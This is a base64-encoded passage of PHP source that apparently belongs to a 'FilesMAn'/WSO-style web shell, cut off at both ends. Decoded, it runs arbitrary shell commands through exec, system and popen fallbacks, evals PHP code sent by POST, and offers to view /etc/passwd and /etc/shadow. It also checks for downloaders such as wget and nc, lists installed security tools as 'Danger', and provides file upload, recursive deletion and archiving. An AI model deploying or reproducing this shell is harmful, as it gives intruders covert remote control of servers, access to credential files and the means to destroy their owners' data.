R5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNQW4nPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4NCgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnIgID48L3RkPg0KCTwvdHI+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPiI7DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7DQogICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgew0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KDQpmdW5jdGlvbiBCT0ZGRXgoJGluKSB7DQoJJG91dCA9ICcnOw0KCWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KCQlAZXhlYygkaW4sJG91dCk7DQoJCSRvdXQgPSBAam9pbigiXG4iLCRvdXQpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJQHBhc3N0aHJ1KCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAc3lzdGVtKCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsNCgl9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7DQoJCSRvdXQgPSAiIjsNCgkJd2hpbGUoIUBmZW9mKCRmKSkNCgkJCSRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQoJCXBjbG9zZSgkZik7DQoJfQ0KCXJldHVybiAkb3V0Ow0KfQ0KZnVuY3Rpb24gQk9GRlZpZXdTaXplKCRzKSB7DQoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KCWVsc2VpZigkcyA+PSAxMDI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KCWVsc2UNCgkJcmV0dXJuICRzIC4gJyBCJzsNCn0NCg0KZnVuY3Rpb24gQk9GRlBlcm1zKCRwKSB7DQoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KCWVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOw0KCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7DQoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCgllbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KCWVsc2UgJGkgPSAndSc7DQoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpOw0KfQ0KDQpmdW5jdGlvbiBCT0ZGUGVybXNDb2xvcigkZikgew0KCWlmICghQGlzX3JlYWRhYmxlKCRmKSkNCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiBCT0ZGUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIEJPRkZQZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQoJZWxzZQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIEJPRkZQZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQp9DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgew0KCWZ1bmN0aW9uIHNjYW5kaXIoJGRpcikgew0KCQkkZGggID0gb3BlbmRpcigkZGlyKTsNCgkJd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkNCiAgICAJCSRmaWxlc1tdID0gJGZpbGVuYW1lOw0KCQlyZXR1cm4gJGZpbGVzOw0KCX0NCn0NCg0KZnVuY3Rpb24gQk9GRldoaWNoKCRwKSB7DQoJJHBhdGggPSBCT0ZGRXgoJ3doaWNoICcgLiAkcCk7DQoJaWYoIWVtcHR5KCRwYXRoKSkNCgkJcmV0dXJuICRwYXRoOw0KCXJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsNCglCT0ZGSGVhZGVyKCk7DQoJZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJZnVuY3Rpb24gQk9GRlNlY1BhcmFtKCRuLCAkdikgew0KCQkkdiA9IHRyaW0oJHYpOw0KCQlpZigkdikgew0KCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7DQoJCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkNCgkJCQllY2hvICR2IC4gJzxicj4nOw0KCQkJZWxzZQ0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOw0KCQl9DQoJfQ0KCQ0KCUJPRkZTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpDQogICAgICAgIEJPRkZTZWNQYXJhbSgnTG9hZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBhcGFjaGVfZ2V0X21vZHVsZXMoKSkpOw0KCUJPRkZTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7DQoJQk9GRlNlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsNCglCT0ZGU2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7DQoJQk9GRlNlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOw0KCUJPRkZTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7DQoJJHRlbXA9YXJyYXkoKTsNCglpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQ0KCQkkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJNU1NRTCI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIk9yYWNsZSI7DQoJQk9GRlNlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOw0KCWVjaG8gJzxicj4nOw0KCQ0KCWlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7DQoJCUJPRkZTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsNCgkJQk9GRlNlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsNCgkJQk9GRlNlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOw0KCQlCT0ZGU2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOw0KCQlpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7DQogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOw0KICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQoJCQllY2hvICc8YnI+JzsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkNCgkJCQlpZihCT0ZGV2hpY2goJGl0ZW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQoJCQlCT0ZGU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQ0KCQkJCWlmKEJPRkZXaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCUJPRkZTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQoJCQkkdGVtcD1hcnJheSgpOw0KCQkJZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSANCgkJCQlpZihCT0ZGV2hpY2goJGl0ZW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQoJCQlCT0ZGU2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQoJCQllY2hvICc8YnIvPic7DQogICAgICAgICAgICBCT0ZGU2VjUGFyYW0oJ0hERCBzcGFjZScsIEJPRkZFeCgnZGYgLWgnKSk7DQoJCQlCT0ZGU2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOw0KCQl9DQoJfSBlbHNlIHsNCgkJQk9GRlNlY1BhcmFtKCdPUyBWZXJzaW9uJyxCT0ZGRXgoJ3ZlcicpKTsNCgkJQk9GRlNlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyxCT0ZGRXgoJ25ldCBhY2NvdW50cycpKTsNCgkJQk9GRlNlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxCT0ZGRXgoJ25ldCB1c2VyJykpOw0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gdHJ1ZTsNCgkJb2Jfc3RhcnQoKTsNCgkJZXZhbCgkX1BPU1RbJ3AxJ10pOw0KCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0OyANCgl9DQoJQk9GRkhlYWRlcigpOw0KCWlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7DQoJCWVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOw0KCQlvYl9zdGFydCgpOw0KCQlwaHBpbmZvKCk7DQoJCSR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOw0KCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7DQoJCWVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7DQoJfQ0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IGZhbHNlOw0KICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOw0KCWVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9wcmU+PC9kaXY+JzsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsNCgkJCWNhc2UgJ3VwbG9hZEZpbGUnOg0KCQkJCWlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQ0KCQkJCQllY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnbWtkaXInOg0KCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkNCgkJCQkJZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnZGVsZXRlJzoNCgkJCQlmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsNCgkJCQkJJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsNCgkJCQkJJGRoICA9IG9wZW5kaXIoJHBhdGgpOw0KCQkJCQl3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgew0KCQkJCQkJJGl0ZW0gPSAkcGF0aC4kaXRlbTsNCgkJCQkJCWlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQ0KCQkJCQkJCWNvbnRpbnVlOw0KCQkJCQkJJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7DQoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpDQoJCQkJCQkJZGVsZXRlRGlyKCRpdGVtKTsNCgkJCQkJCWVsc2UNCgkJCQkJCQlAdW5saW5rKCRpdGVtKTsNCgkJCQkJfQ0KCQkJCQljbG9zZWRpcigkZGgpOw0KCQkJCQlAcm1kaXIoJHBhdGgpOw0KCQkJCX0NCgkJCQlpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KCQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOw0KCQkJCQkJaWYoaXNfZGlyKCRmKSkNCgkJCQkJCQlkZWxldGVEaXIoJGYpOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGYpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQljYXNlICdwYXN0ZSc6DQoJCQkJaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsNCgkJCQkJZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpDQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQ0KCQkJCQkJY29weV9wYXN0ZSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsJCQkJCQ0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7DQoJCQkJCWZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpew0KCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7DQoJCQkJCQkJbWtkaXIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMuJHMpOw0KCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gZWxzZWlmKEBpc19maWxlKCRjLiRzKSkNCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpDQoJCQkJCQlAcmVuYW1lKCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCcpIHsNCgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR6aXAtPm9wZW4oJF9QT1NUWydwMiddLCAxKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9TRVNTSU9OWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd1bnppcCcpIHsNCgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3RhcicpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX1NFU1NJT05bJ2YnXSk7DQogICAgICAgICAgICAgICAgICAgIEJPRkZFeCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVF